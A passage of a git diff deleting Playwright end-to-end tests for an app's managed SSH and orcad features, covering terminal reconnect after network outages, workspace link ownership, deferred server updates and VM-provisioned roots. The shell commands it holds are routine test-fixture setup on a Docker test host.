proxy.events - }) - ) - await page.screenshot({ path: testInfo.outputPath('after-outage.png') }) - throw error - } - await expectPaneText(page, tabId, marker) - await typeInTerminal(page, tabId, "echo SHELL''_PID=$$") - await expect - .poll( - async () => - (await readPairedPaneContent(page, tabId)).split(`SHELL_PID=${shellPid}`).length - ) - .toBeGreaterThan(2) - }) - } finally { - await proxy?.close() - } - }) -} diff --git a/tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts b/tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts deleted file mode 100644 index 8d6af3cf1dd..00000000000 --- a/tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts +++ /dev/null @@ -1,82 +0,0 @@ -// #26887: change a managed SSH full-screen frame while disconnected, then go idle so only reconnect can repair the stale client frame. -import { expect, test } from './helpers/orca-app' -import { readPairedPaneContent } from './helpers/paired-host-terminal' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' -import { - expectPaneText, - launchManagedWorkspace, - openTerminalTab, - skipUnlessManagedDockerHost, - typeInTerminal, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -// Redraws everything on SIGWINCH; otherwise only rewrites the frame text in place, like a spinner. -const TUI_SCRIPT = [ - 'state=$1', - 'cur=$(cat "$state")', - 'draw() { printf \'\\033[?1049h\\033[H\\033[2JFRAME:%s\\r\\n\' "$cur"; }', - 'trap draw WINCH', - 'draw', - 'while :; do', - ' next=$(cat "$state" 2>/dev/null)', - ' if [ -n "$next" ] && [ "$next" != "$cur" ]; then', - ' cur=$next', - ' printf \'\\033[1;7H%s\\033[K\' "$cur"', - ' echo "diff:$cur" >> "$state.log"', - ' fi', - ' sleep 0.2', - 'done' -].join('\n') - -test('an idle full-screen program shows its current frame after a network outage', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(10 * 60_000) - // Why a holder: assigned inside the callback, which narrowing cannot see. - const opened: { proxy: FreezableTcpProxy | null } = { proxy: null } - try { - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const proxy = await startFreezableTcpProxy(host.input.host, host.input.port ?? 22) - opened.proxy = proxy - // Why the proxy: the profile reaches sshd only through it, so cutting it is the network. - host.input = { ...host.input, port: proxy.port } - const dir = `/tmp/orca-idle-frame-${Date.now()}` - host.exec!( - `mkdir -p ${dir} && printf BEFORE > ${dir}/state && cat > ${dir}/tui.sh <<'TUI'\n${TUI_SCRIPT}\nTUI` - ) - const { page, seeded } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await typeInTerminal(page, tabId, `bash ${dir}/tui.sh ${dir}/state`) - await expectPaneText(page, tabId, 'FRAME:BEFORE') - - proxy.cut('reset') - host.exec!(`printf AFTER > ${dir}/state`) - await expect - .poll(() => host.exec!(`cat ${dir}/state.log 2>/dev/null || true`), { timeout: 15_000 }) - .toContain('diff:AFTER') - await page.waitForTimeout(5_000) - proxy.restore() - - try { - await expectPaneText(page, tabId, 'FRAME:AFTER', 180_000) - } catch (error) { - console.log( - '[idle-frame] evidence', - JSON.stringify({ - pane: (await readPairedPaneContent(page, tabId)).slice(-600), - hostLog: host.exec!(`cat ${dir}/state.log 2>/dev/null || true`), - proxyEvents: proxy.events - }) - ) - await page.screenshot({ path: testInfo.outputPath('after-outage.png') }) - throw error - } - }) - } finally { - await opened.proxy?.close() - } -}) diff --git a/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts b/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts deleted file mode 100644 index a9b4de19f5d..00000000000 --- a/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts +++ /dev/null @@ -1,248 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - launchConvertedProfile, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { dismissTransientAnnouncement } from './helpers/ssh-config-host-picker' -import { openFileExplorer } from './helpers/file-explorer' -import { openTerminalWorkspaceRootLink } from './helpers/terminal-workspace-root-link' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' -import { getWorktreeHostIdentity } from '../../src/shared/worktree/host-qualified-identity' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -import { - focusActiveTerminalInput, - getTerminalContent, - waitForActivePanePtyId -} from './helpers/terminal' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'Owned POSIX host collision fixture') - -test('a managed terminal path link cannot switch to a desktop workspace at the same path', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(4 * 60_000) - const fileName = 'COMMAND_FILE_OWNER.txt' - const filePath = path.join(testRepoPath, fileName) - writeFileSync(filePath, 'DESKTOP_COMMAND_FILE_OWNER\n') - const intermediate = path.join(testRepoPath, 'intermediate-command-repo') - mkdirSync(intermediate) - execFileSync('git', ['init', '-q', intermediate]) - writeFileSync(path.join(intermediate, 'INTERMEDIATE_OWNER.txt'), 'INTERMEDIATE\n') - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - if (!host.exec) { - throw new Error('Missing owned host control') - } - const execute = host.exec - execute( - `mkdir -p ${quotePosixShell(path.dirname(testRepoPath))} && git clone --quiet ${quotePosixShell(host.remoteRepoPath)} ${quotePosixShell(testRepoPath)} && printf 'REMOTE_COMMAND_FILE_OWNER\n' > ${quotePosixShell(filePath)}` - ) - let ids: string[] = [] - const { page, seeded, environmentId } = await launchConvertedProfile(fixture, { - repoPath: testRepoPath, - beforeSeed: async (page) => { - ids = await page.evaluate( - async (paths) => { - const resultIds: string[] = [] - for (const repoPath of paths) { - const result = await window.api.repos.add({ path: repoPath }) - if ('error' in result) { - throw new Error(result.error) - } - resultIds.push(`${result.repo.id}::${repoPath}`) - } - return resultIds - }, - [testRepoPath, intermediate] - ) - } - }) - if (!ids[0] || !ids[1]) { - throw new Error('Missing owned workspace') - } - const markerDirectory = path.join(testRepoPath, 'OWNER_SUBDIRECTORY') - mkdirSync(markerDirectory) - writeFileSync( - path.join(markerDirectory, 'TERMINAL_OWNER.txt'), - 'DESKTOP_TERMINAL_DIRECTORY_OWNER\n' - ) - execute( - `mkdir -p ${quotePosixShell(markerDirectory)} && printf 'REMOTE_TERMINAL_DIRECTORY_OWNER\n' > ${quotePosixShell(path.join(markerDirectory, 'TERMINAL_OWNER.txt'))}` - ) - await dismissTransientAnnouncement(page) - const localIdentity = getWorktreeHostIdentity({ id: ids[0], hostId: 'local' }) - await page.locator(`[data-worktree-host-identity="${localIdentity}"]:visible`).click() - await openFileExplorer(page) - const localFile = page.locator('[data-file-explorer-row]').filter({ hasText: fileName }) - await expect(localFile).toBeVisible() - await expect( - page.locator('[data-file-explorer-row]').filter({ hasText: 'OWNER_SUBDIRECTORY' }) - ).toBeVisible() - await page - .locator('[data-file-explorer-row]') - .filter({ hasText: 'OWNER_SUBDIRECTORY' }) - .click({ button: 'right' }) - await page.getByRole('menuitem', { name: 'Open in Terminal', exact: true }).click() - await waitForActivePanePtyId(page, 30_000) - await focusActiveTerminalInput(page) - await page.keyboard.insertText('pwd; cat TERMINAL_OWNER.txt') - await page.keyboard.press('Enter') - await expect - .poll(() => getTerminalContent(page), { timeout: 30_000 }) - .toContain('DESKTOP_TERMINAL_DIRECTORY_OWNER') - console.log('[actual-desktop-terminal]', await getTerminalContent(page)) - await openTerminalWorkspaceRootLink(page, testInfo, intermediate) - const nativeRoot = page.locator('[data-terminal-link-action-popover]') - await expect(nativeRoot).toBeVisible() - await nativeRoot.getByRole('button', { name: /^Switch workspace/ }).click() - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(ids[1]) - console.log( - '[actual-desktop-root-selection]', - await page.evaluate(() => ({ - id: window.__store?.getState().activeWorktreeId, - host: window.__store?.getState().activeWorkspaceExecutionHostId - })) - ) - const middleIdentity = getWorktreeHostIdentity({ id: ids[1], hostId: 'local' }) - await page.locator(`[data-worktree-host-identity="${middleIdentity}"]:visible`).click() - await openFileExplorer(page) - await expect( - page.locator('[data-file-explorer-row]').filter({ hasText: 'INTERMEDIATE_OWNER.txt' }) - ).toBeVisible() - const remoteIdentity = getWorktreeHostIdentity({ - id: seeded.worktreeId, - hostId: toRuntimeExecutionHostId(environmentId) - }) - await page.locator(`[data-worktree-host-identity="${remoteIdentity}"]:visible`).click() - await openFileExplorer(page) - console.log( - '[actual-renderer-route]', - await page.evaluate(() => { - const s = window.__store?.getState() - return { - activeWorktreeId: s?.activeWorktreeId, - activeRepoId: s?.activeRepoId, - activeWorkspaceExecutionHostId: s?.activeWorkspaceExecutionHostId, - activeRuntimeEnvironmentId: s?.settings?.activeRuntimeEnvironmentId - } - }) - ) - const remoteFile = page.locator('[data-file-explorer-row]').filter({ hasText: fileName }) - await expect(remoteFile).toBeVisible() - console.log( - '[actual-remote-source]', - await serverCall(page, environmentId, 'files.read', { - worktree: `id:${seeded.worktreeId}`, - relativePath: fileName - }) - ) - await page - .locator('[data-file-explorer-row]') - .filter({ hasText: 'OWNER_SUBDIRECTORY' }) - .click({ button: 'right' }) - await page.getByRole('menuitem', { name: 'Open in Terminal', exact: true }).click() - await waitForActivePanePtyId(page, 30_000) - await focusActiveTerminalInput(page) - await page.keyboard.insertText('pwd; cat TERMINAL_OWNER.txt') - await page.keyboard.press('Enter') - await expect - .poll(() => getTerminalContent(page), { timeout: 30_000 }) - .toContain('REMOTE_TERMINAL_DIRECTORY_OWNER') - console.log('[actual-managed-terminal]', await getTerminalContent(page)) - execute( - `mkdir -p ${quotePosixShell(intermediate)} && printf 'REMOTE_LINK_DIRECTORY_OWNER\n' > ${quotePosixShell(path.join(intermediate, 'LINK_DIRECTORY_OWNER.txt'))}` - ) - console.log( - '[actual-host-link-directory-marker]', - execute(`cat ${quotePosixShell(path.join(intermediate, 'LINK_DIRECTORY_OWNER.txt'))}`) - ) - const foreignTarget = await openTerminalWorkspaceRootLink(page, testInfo, intermediate) - const popover = page.locator('[data-terminal-link-action-popover]') - await expect(popover).toBeVisible() - await expect(popover.locator('[data-terminal-link-destination]')).toHaveText(intermediate) - await expect - .poll(() => popover.evaluate((element) => getComputedStyle(element).opacity)) - .toBe('1') - console.log('[actual-managed-foreign-root-menu]', await popover.innerText()) - await page.screenshot({ path: testInfo.outputPath('managed-terminal-root-link-menu.png') }) - const foreignSwitch = popover.getByRole('button', { name: /^Switch workspace/ }) - if (await foreignSwitch.count()) { - await foreignSwitch.click() - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(ids[1]) - } - const route = await page.evaluate(() => { - const s = window.__store?.getState() - return { - activeWorktreeId: s?.activeWorktreeId, - activeRepoId: s?.activeRepoId, - activeWorkspaceExecutionHostId: s?.activeWorkspaceExecutionHostId - } - }) - console.log('[actual-selection-after-managed-link]', route) - await page.screenshot({ path: testInfo.outputPath('managed-terminal-root-link-selection.png') }) - expect(route.activeWorkspaceExecutionHostId).toBe(toRuntimeExecutionHostId(environmentId)) - expect(route.activeWorktreeId).toBe(seeded.worktreeId) - await expect(foreignSwitch).toHaveCount(0) - await popover.getByRole('button', { name: /^Open file/ }).click() - console.log( - '[managed-directory-click-host-read]', - await serverCall(page, environmentId, 'files.read', { - worktree: `id:${seeded.worktreeId}`, - relativePath: 'intermediate-command-repo/LINK_DIRECTORY_OWNER.txt' - }) - ) - await page.mouse.move(foreignTarget.x, foreignTarget.y) - const primaryModifier = process.platform === 'darwin' ? 'Meta' : 'Control' - await page.keyboard.down(primaryModifier) - try { - await page.mouse.click(foreignTarget.x, foreignTarget.y) - } finally { - await page.keyboard.up(primaryModifier) - } - await serverCall(page, environmentId, 'files.read', { - worktree: `id:${seeded.worktreeId}`, - relativePath: 'intermediate-command-repo/LINK_DIRECTORY_OWNER.txt' - }) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId)) - .toBe(toRuntimeExecutionHostId(environmentId)) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(seeded.worktreeId) - console.log( - '[actual-managed-direct-link-selection]', - await page.evaluate(() => ({ - id: window.__store?.getState().activeWorktreeId, - host: window.__store?.getState().activeWorkspaceExecutionHostId - })) - ) - await openTerminalWorkspaceRootLink(page, testInfo, testRepoPath) - const ownRoot = page.locator('[data-terminal-link-action-popover]') - await expect(ownRoot).toBeVisible() - await ownRoot.getByRole('button', { name: /^Switch workspace/ }).click() - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId)) - .toBe(toRuntimeExecutionHostId(environmentId)) - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(seeded.worktreeId) - console.log( - '[actual-managed-same-root-selection]', - await page.evaluate(() => ({ - id: window.__store?.getState().activeWorktreeId, - host: window.__store?.getState().activeWorkspaceExecutionHostId - })) - ) - }) -}) diff --git a/tests/e2e/ssh-orcad-update-anyway.spec.ts b/tests/e2e/ssh-orcad-update-anyway.spec.ts deleted file mode 100644 index b1bf0272fff..00000000000 --- a/tests/e2e/ssh-orcad-update-anyway.spec.ts +++ /dev/null @@ -1,198 +0,0 @@ -/** Prove Update defers on a running process, Update anyway preserves it across restart, and repeated deferrals keep one staged build (#34149). */ -import { cpSync, mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { readPairedPaneContent } from './helpers/paired-host-terminal' -import { focusActiveTerminalInput } from './helpers/terminal' -import { - activateManagedWorkspace, - expectPaneText, - expectTerminalAnswers, - launchManagedWorkspace, - ORCAD_TEMPLATE, - relaunchManagedApp, - selectTerminalTab, - skipUnlessManagedDockerHost, - openTerminalTab, - terminalTabIds, - typeInTerminal, - waitForPane, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { makeOrcadTemplateVariant, readHostOrcadActivation } from './helpers/orcad-template-variant' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -const TICK = /AGENT_TICK_(\d+)/g - -async function latestTick(page: Page, tabId: string): Promise { - const ticks = [...(await readPairedPaneContent(page, tabId)).matchAll(TICK)] - return ticks.length === 0 ? -1 : Math.max(...ticks.map((match) => Number(match[1]))) -} - -test('Update anyway moves a managed host to the new build and keeps its running terminal', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(20 * 60_000) - const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-update-anyway-')) - const templateDir = path.join(scratch, 'template') - cpSync(ORCAD_TEMPLATE!, templateDir, { recursive: true }) - try { - await withManagedHost( - testInfo, - async (fixture) => { - const workspace = await launchManagedWorkspace(fixture) - const { seeded, environmentId } = workspace - const tab = await openTerminalTab(workspace.page, seeded.worktreeId) - // Single quotes keep $$ for the inner bash: its pid is the long-running process itself. - await typeInTerminal( - workspace.page, - tab, - `bash -c 'echo AGENT_PID=$$; i=0; while :; do echo AGENT_TICK_$i; i=$((i+1)); sleep 1; done'` - ) - await expectPaneText(workspace.page, tab, 'AGENT_TICK_2') - const pid = /AGENT_PID=(\d+)/.exec(await readPairedPaneContent(workspace.page, tab))?.[1] - expect(pid, 'the agent printed its pid').toBeTruthy() - const deployed = readHostOrcadActivation(fixture.host.exec!) - - // An app update bundling a newer orcad; its connect defers over the running terminal. - makeOrcadTemplateVariant(templateDir, 'B') - const page = await relaunchManagedApp(fixture) - await expect - .poll( - () => - page.evaluate( - async (selector) => - (await window.api.runtimeEnvironments.managedOrcad?.getStatus({ selector })) - ?.availableUpdate ?? null, - environmentId - ), - { timeout: 4 * 60_000, intervals: [3_000] } - ) - .toBeTruthy() - expect(readHostOrcadActivation(fixture.host.exec!).active).toBe(deployed.active) - - await page.evaluate(() => { - const state = window.__store!.getState() - state.openSettingsTarget({ pane: 'servers', repoId: null }) - state.openSettingsPage() - }) - const row = page.locator(`[data-settings-section="${environmentId}"]`) - const update = row.getByRole('button', { name: 'Update', exact: true }) - await expect(update).toBeVisible({ timeout: 60_000 }) - await update.click() - await expect(row.getByText(/keeps? running through the update/)).toBeVisible({ - timeout: 4 * 60_000 - }) - expect(readHostOrcadActivation(fixture.host.exec!).active).toBe(deployed.active) - await page.screenshot({ path: testInfo.outputPath('update-anyway-confirm.png') }) - await row.getByRole('button', { name: 'Update anyway' }).click() - - await expect - .poll(() => readHostOrcadActivation(fixture.host.exec!).active, { - timeout: 6 * 60_000, - intervals: [3_000] - }) - .not.toBe(deployed.active) - await expect(update).toHaveCount(0, { timeout: 2 * 60_000 }) - await page.screenshot({ path: testInfo.outputPath('update-anyway-done.png') }) - expect(fixture.host.exec!(`kill -0 ${pid} && echo alive`)).toContain('alive') - - // The same pane reattaches: its earlier output, the process still printing, then input. - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - expect(await terminalTabIds(page, seeded.worktreeId)).toContain(tab) - await selectTerminalTab(page, tab) - await waitForPane(page, tab) - await expectPaneText(page, tab, `AGENT_PID=${pid}`, 2 * 60_000) - const resumedAt = await latestTick(page, tab) - await expect - .poll(() => latestTick(page, tab), { timeout: 60_000 }) - .toBeGreaterThan(resumedAt + 2) - await focusActiveTerminalInput(page) - await page.keyboard.press('Control+C') - await expectTerminalAnswers(page, tab) - expect(fixture.host.exec!(`kill -0 ${pid} 2>/dev/null || echo gone`)).toContain('gone') - }, - templateDir - ) - } finally { - rmSync(scratch, { recursive: true, force: true }) - } -}) - -function slotVersions(exec: (command: string) => string): string[] { - return exec('cd /root/.orca-remote && ls -d orcad-0* 2>/dev/null || true') - .split('\n') - .map((line) => line.trim().replace(/^orcad-/, '')) - .filter(Boolean) - .sort() -} - -function deferredCandidate(page: Page, environmentId: string): Promise { - return page.evaluate( - async (selector) => - (await window.api.runtimeEnvironments.managedOrcad?.getStatus({ selector }))?.deferredUpdate - ?.candidateVersion ?? null, - environmentId - ) -} - -test('a release deferred over running terminals replaces the build the last one staged', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - // Deploys a server, then relaunches through two app updates that each stage a build. - test.setTimeout(20 * 60_000) - const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-deferred-slots-')) - const templateDir = path.join(scratch, 'template') - cpSync(ORCAD_TEMPLATE!, templateDir, { recursive: true }) - try { - await withManagedHost( - testInfo, - async (fixture) => { - const exec = fixture.host.exec! - const workspace = await launchManagedWorkspace(fixture) - const { environmentId } = workspace - const tab = await openTerminalTab(workspace.page, workspace.seeded.worktreeId) - await typeInTerminal(workspace.page, tab, `bash -c 'while :; do echo TICK; sleep 1; done'`) - await expectPaneText(workspace.page, tab, 'TICK') - const deployed = readHostOrcadActivation(exec).active! - - makeOrcadTemplateVariant(templateDir, 'B') - let page = await relaunchManagedApp(fixture) - await expect - .poll(() => deferredCandidate(page, environmentId), { timeout: 4 * 60_000 }) - .not.toBeNull() - const staged = (await deferredCandidate(page, environmentId))! - expect(slotVersions(exec)).toEqual([deployed, staged].sort()) - - // Releases come days apart; a build staged this recently could still be another desktop's. - exec(`touch -d '5 days ago' /root/.orca-remote/orcad-${staged}/.install-complete`) - makeOrcadTemplateVariant(templateDir, 'C') - page = await relaunchManagedApp(fixture) - let next: string | null = null - await expect - .poll( - async () => { - const candidate = await deferredCandidate(page, environmentId) - next = candidate !== staged ? candidate : null - return next - }, - { timeout: 4 * 60_000 } - ) - .not.toBeNull() - expect(readHostOrcadActivation(exec).active).toBe(deployed) - await expect - .poll(() => slotVersions(exec), { timeout: 60_000 }) - .toEqual([deployed, next!].sort()) - // The prune must not touch the running terminal the deferral protected. - expect( - exec("pgrep -f '[w]hile :; do echo TICK' >/dev/null && echo alive || true") - ).toContain('alive') - }, - templateDir - ) - } finally { - rmSync(scratch, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/ssh-orcad-vm-provisioned-root.spec.ts b/tests/e2e/ssh-orcad-vm-provisioned-root.spec.ts deleted file mode 100644 index b10ffaed672..00000000000 --- a/tests/e2e/ssh-orcad-vm-provisioned-root.spec.ts +++ /dev/null @@ -1,342 +0,0 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -import { execFileSync } from 'node:child_process' -import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { homedir, tmpdir } from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { ensureDockerSshHostImage } from './helpers/docker-ssh-host-image' -import { - cleanupDockerSshHostTarget, - execDockerSshHostTargetCommand, - startDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { ORCAD_TEMPLATE, skipUnlessManagedDockerHost } from './helpers/orcad-managed-workspace' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -/** A recipe VM's SSH root, served by a managed orcad the first connect deploys. */ -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The recipe scripts are POSIX shell') -test.use({ - seedTestRepo: false, - orcaAppExtraEnv: { ORCA_ORCAD_TEMPLATE_PATH: ORCAD_TEMPLATE ?? '' } -}) - -test('adopts a recipe-provisioned SSH root without creating a linked worktree', async ({ - orcaPage -}, testInfo) => { - // The first connect deploys the VM's managed server before the root is adopted. - test.setTimeout(420_000) - let target: DockerSshHostTarget | null = null - const sourceRepo = mkdtempSync(path.join(tmpdir(), 'orca-provisioned-root-source-')) - try { - ensureDockerSshHostImage(process.cwd()) - target = startDockerSshHostTarget(testInfo) - const expectedRefHead = seedRecipeRepo(sourceRepo, target) - await waitForSessionReady(orcaPage) - const sourceRepoId = await addRecipeRepo(orcaPage, sourceRepo) - - const workspaceName = `provisioned-root-${Date.now()}` - await startRecipeCreate(orcaPage, workspaceName) - await expect(orcaPage.getByRole('option', { name: new RegExp(workspaceName) })).toBeVisible({ - timeout: 240_000 - }) - - // Why: the VM's primary checkout is listed (named after its branch) as soon as its project is - // set up, while the environment checks still run; only adoption stamps the checkout mode. - const findAdopted = () => - orcaPage.evaluate( - ({ sourceRepoId, workspaceName }) => - Object.values(window.__store!.getState().worktreesByRepo) - .flat() - .find( - (worktree) => - worktree.displayName === workspaceName && - worktree.repoId !== sourceRepoId && - worktree.ephemeralVmCheckoutMode === 'provisioned-root' - ) ?? null, - { sourceRepoId, workspaceName } - ) - await expect - .poll(findAdopted, { timeout: 60_000, message: 'the provisioned root was never adopted' }) - .not.toBeNull() - const adopted = await findAdopted() - await ensureTerminalVisible(orcaPage) - expect(adopted).toMatchObject({ - path: DOCKER_SSH_HOST_REMOTE_REPO_PATH, - isMainWorktree: true, - ephemeralVmCheckoutMode: 'provisioned-root' - }) - // The VM's managed server holds the workspace; no relay serves it. - expect(adopted?.hostId).toMatch(/^runtime:/) - expect( - execDockerSshHostTargetCommand( - target, - `git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} worktree list --porcelain | grep -c '^worktree '` - ) - ).toBe('1') - expect( - execDockerSshHostTargetCommand( - target, - `git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} branch --show-current` - ) - ).toBe(workspaceName) - expect( - execDockerSshHostTargetCommand( - target, - `git -C ${quotePosixShell(DOCKER_SSH_HOST_REMOTE_REPO_PATH)} rev-parse HEAD` - ) - ).toBe(expectedRefHead) - - const removeDialog = orcaPage.getByRole('dialog', { name: 'Remove Project' }) - const removeMenuItem = orcaPage.getByRole('menuitem', { name: 'Remove Project from Orca' }) - await expect(async () => { - await orcaPage - .getByRole('option', { name: new RegExp(workspaceName) }) - .click({ button: 'right' }) - await expect(removeMenuItem).toBeVisible({ timeout: 1_000 }) - await removeMenuItem.click({ force: true, timeout: 1_000 }) - await expect(removeDialog).toBeVisible({ timeout: 1_000 }) - }).toPass({ timeout: 10_000 }) - await expect(removeDialog).toContainText( - 'Its VM recipe determines whether the environment and its files are permanently deleted.' - ) - await removeDialog.getByRole('button', { name: 'Remove', exact: true }).click() - await expect - .poll( - () => - orcaPage.evaluate( - (repoId) => window.__store!.getState().repos.some((repo) => repo.id === repoId), - adopted!.repoId - ), - { timeout: 30_000 } - ) - .toBe(false) - const destroyed = target - expect(() => execDockerSshHostTargetCommand(destroyed, 'true')).toThrow() - } finally { - cleanupDockerSshHostTarget(target) - rmSync(sourceRepo, { recursive: true, force: true }) - } -}) - -test('hides the VM checkout while a create is paused on failed checks, and leaves nothing after cancel', async ({ - orcaPage -}, testInfo) => { - // The first connect deploys the VM's managed server before the checks can run. - test.setTimeout(420_000) - let target: DockerSshHostTarget | null = null - const sourceRepo = mkdtempSync(path.join(tmpdir(), 'orca-provisioned-root-source-')) - try { - ensureDockerSshHostImage(process.cwd()) - target = startDockerSshHostTarget(testInfo) - // The VM keeps a remote it cannot push to, so its environment checks fail and the create pauses. - seedRecipeRepo(sourceRepo, target, { reachableRemote: false }) - await waitForSessionReady(orcaPage) - const sourceRepoId = await addRecipeRepo(orcaPage, sourceRepo) - const reposBefore = await orcaPage.evaluate(() => - window.__store!.getState().repos.map((repo) => repo.id) - ) - - const workspaceName = `provisioned-root-${Date.now()}` - await startRecipeCreate(orcaPage, workspaceName) - const sidebar = orcaPage.getByRole('listbox', { name: 'Worktrees' }) - const pendingRow = sidebar.getByRole('button', { - name: new RegExp(`${workspaceName} Environment checks failed`) - }) - await expect(pendingRow).toBeVisible({ timeout: 240_000 }) - // The VM's checkout is in the store by now; the sidebar shows only the pending row for it. - await expect - .poll( - () => - orcaPage.evaluate( - ({ sourceRepoId, workspaceName }) => - Object.values(window.__store!.getState().worktreesByRepo) - .flat() - .some((wt) => wt.repoId !== sourceRepoId && wt.branch.endsWith(workspaceName)), - { sourceRepoId, workspaceName } - ), - { timeout: 30_000 } - ) - .toBe(true) - await expect(sidebar.getByRole('option', { name: new RegExp(workspaceName) })).toHaveCount(0) - await testInfo.attach('paused-vm-create-sidebar', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) - // The jump palette reads the same pending set, so it offers no workspace for the VM checkout. - const palette = orcaPage.getByRole('dialog', { name: 'Jump to...' }) - await orcaPage.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - await palette.getByRole('combobox').fill(workspaceName) - // The palette has answered the query once its create-from-query row is listed. - await expect(palette.getByRole('option', { name: /Create/ }).first()).toBeVisible() - await expect( - palette - .getByRole('option', { name: new RegExp(workspaceName) }) - .filter({ hasNotText: /Create/ }) - ).toHaveCount(0) - await testInfo.attach('paused-vm-create-palette', { - body: await palette.screenshot(), - contentType: 'image/png' - }) - await palette.getByRole('combobox').press('Escape') - await expect(palette).toHaveCount(0) - - await sidebar.getByRole('button', { name: 'Cancel worktree creation' }).click() - await expect(pendingRow).toBeHidden() - const cancelled = target - await expect - .poll( - () => { - try { - execDockerSshHostTargetCommand(cancelled, 'true') - return false - } catch { - return true - } - }, - { timeout: 60_000, message: 'the cancelled VM was never destroyed' } - ) - .toBe(true) - await expect - .poll( - () => - orcaPage.evaluate( - (before) => - window - .__store!.getState() - .repos.filter((repo) => !before.includes(repo.id)) - .map((repo) => repo.id), - reposBefore - ), - { timeout: 30_000, message: 'the cancelled VM project was left behind' } - ) - .toEqual([]) - await expect(sidebar.getByRole('option', { name: new RegExp(workspaceName) })).toHaveCount(0) - await testInfo.attach('cancelled-vm-create-sidebar', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) - } finally { - cleanupDockerSshHostTarget(target) - rmSync(sourceRepo, { recursive: true, force: true }) - } -}) - -async function startRecipeCreate( - page: Parameters[0], - workspaceName: string -): Promise { - await openSidebarWorkspaceComposer(page) - const dialog = page.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await dialog.getByRole('combobox', { name: 'Run on' }).click() - await page.getByRole('option', { name: /Per-Workspace Environment/ }).click() - await page - .getByRole('listbox', { name: 'Per-Workspace Environment' }) - .getByText('Docker provisioned root', { exact: true }) - .click() - await dialog.getByPlaceholder(/Type a name/i).fill(workspaceName) - await dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }).click() - const trustDialog = page.getByRole('dialog', { name: /Run VM recipe/ }) - await expect(trustDialog).toBeVisible() - await trustDialog.getByRole('button', { name: 'Run hooks' }).click() - await expect(dialog).toBeHidden({ timeout: 60_000 }) -} - -async function addRecipeRepo(page: Parameters[0], repoPath: string) { - return page.evaluate(async (pathValue) => { - const result = await window.api.repos.add({ path: pathValue }) - if ('error' in result) { - throw new Error(result.error) - } - const store = window.__store! - await store.getState().fetchRepos({ runtimeEnvironmentId: null }) - await store.getState().updateSettings({ experimentalEphemeralVms: true }) - store.getState().setActiveRepo(result.repo.id) - return result.repo.id - }, repoPath) -} - -function seedRecipeRepo( - repoPath: string, - target: DockerSshHostTarget, - options: { reachableRemote: boolean } = { reachableRemote: true } -): string { - const createScript = path.join(repoPath, 'create.sh') - const destroyScript = path.join(repoPath, 'destroy.sh') - // The recipe's isolated HOME must still address the engine that owns the fixture container. - const docker = `docker --config ${quotePosixShell(process.env.DOCKER_CONFIG ?? path.join(homedir(), '.docker'))}` - writeFileSync( - createScript, - `#!/usr/bin/env bash -set -euo pipefail -[ "\${ORCA_RECIPE_RESULT_SCHEMA_VERSION:-}" = 2 ] -[ -n "\${ORCA_REPO_URL:-}" ] -[ -n "\${ORCA_REPO_REF:-}" 